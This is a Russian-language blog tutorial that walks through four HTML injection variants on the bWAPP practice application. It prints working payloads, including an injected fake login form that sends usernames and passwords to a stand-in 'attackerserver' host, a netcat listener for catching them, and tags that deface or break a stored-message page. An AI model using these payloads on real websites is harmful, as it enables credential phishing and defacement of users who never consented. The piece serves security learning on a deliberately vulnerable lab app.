пятница, 30 октября 2015 г.

HTML Injection на примере bWAPP

HTML/CSS инъекция в веб-приложениях

     В данной статье я решил собрать примеры эксплуатации HTML/CSS инъекций на примере одной из площадок по тестированию веб-приложений. Buggy web application (bWAPP) -
это open source веб-приложение, свободное для скачивания. Я надеюсь, что наткнувшись на эту статью вас заинтересует тема информационной безопасности (ИБ) или она станет просто хорошей шпаргалкой для решения похожих задач. Если возникают вопросы, я буду рад ответить на него в комментариях.
     Сегодня мы рассмотрим четыре уязвимости с раздела A1-Injection:

/HTML Injection - Reflected (GET)/
/HTML Injection - Reflected (POST)/
/HTLM Injection - Reflected (URL)/
/HTML Injection - Stored/

  Теория возникновения уязвимости

     Для знающих можно сразу пролистать. HTML/CSS инъекция становится возможной из-за некорректной проверки данных, которые вводит обычный пользователь. Веб-разработчик иногда не предполагает что пользователь введет в поле имя <h1>Боб</h1> вместо Боб, но результат будет кардинально отличаться. Эта уязвимость позволяет сильно испортить ресурс или полностью изменить  его... Примеры такого кода.

<?php
   $name = $_REQUEST ['name'];
?>
<html>
   <h1>Welcome to the Internet!</h1>
   <br>
 <body>
       Hello, <?php echo $name; ?>!
       <p>We are so glad you are here!</p>
 </body>
</html>

  HTML Injection - Reflected (GET)

     С названия сразу понятно, что для уязвимости будет использоваться метод передачи параметров в URL. После входа на страницу мы можем наблюдать поля для ввода.

     После ввода тестовых данных наша адресная строка имеет вид:

htmli_get.php?firstname=test&lastname=test&form=submit 
     Из нее мы видим, что передаются два параметра firstname и lastname и видим на экране обычный результат:
 
     Теперь попробуем добавить HTML теги в нашу адресную строку:

htmli_get.php?firstname=<h1>test</h1>&lastname=<h2>test</h2>&form=submit 

     Мы добавили два тега заголовка <h1> и <h2> и результат вывода на экран показывает, что данная страница уязвима к HTML инъекции:

     Дальше страница полностью в нашем распоряжение и мы можем делать все, что вздумается, к  примеру, использовать такой HTML код, просто введя его в поле firstname :
<h3>Please Enter Your Username and Password to Proceed:</h3> 
<form method="POST" action="http://attackerserver/login.php">
      Username: <input type="text" name="username" /><br />
      Password: <input type="password" name="password" /><br />
<input type="submit" value="Login" /></form><!--

     Результатом такой инъекции является полная замена страницы на поле авторизации и все введенные данные будут отправлены вам.


  HTML Injection - Reflected (POST)

     Отличие между этой и предыдущей инъекцией небольшое, а точнее только в способе передачи параметров. В POST запросе параметры передаются внутри пакета и для его просмотра можно использовать Burp Suite:


     Дальнейшая методика инъекции полностью совпадает с предыдущим примером, но все параметры заменяются не в URL страницы, а в теле POST пакета.

 

  HTML Injection - Reflected (URL)

     Своеобразная уязвимость, основанная на работе самого сервера. На странице работает js, который считывает текущий URL пользователя и выводит его на страницу. Хорошее описание можно найти на страницу по DOM-XSS http://www.acunetix.com/blog/articles/dom-xss-explained/


     Для ее эксплуатации нужно всего лишь добавить необходимые значения после адреса текущей страницы:

htmli_current_url.php<h1>XSS DOM</h1>
htmli_current_url.php#<h1>XSS DOM</h1>
htmli_current_url.php?<h1>XSS DOM</h1>

 

  HTML Injection - Stored

      Данный пример основан на всех предыдущих и необходим для наглядной эксплуатации HTML Injeaction. При входе на страницу мы видим возможность публиковать сообщения (они сохраняются в базе данных и выводятся всем, кто посетил эту страницу).



     Есть несколько способов поэксплуатировать страницу:
  1. Отправить тег открытия комментария <!-- , что позволит полностью остановить работу т.к. новые данные будут восприниматься как комментарий к коду.
  2. Выделять свои сообщения с помощью специальных тегов <b><h1-3><i><img> и др.
  3. Полностью заменить страницу и перенаправить вводимые данные к себе. 
     К примеру, рассмотрим третий пункт. Для начала нам нужно поставить прослушивание порта на своем компьютере. Для ОС Linux используется такая команда, как nc -vlp 80. Дальше вставляем текст, который заменит исходную страницу на нужную нам.

     Осталась самая скучная и долгая часть -  ждать, когда кто-то введет свои данные на странице и нажмет отправить...


     На этом все. Данные примеры могут использоваться когда отсутствуют какая либо защита на веб-сервере. В дальнейших статьях будут разобраны примеры с обходом фильтраций WAFов и других мер защиты. 

5 комментариев: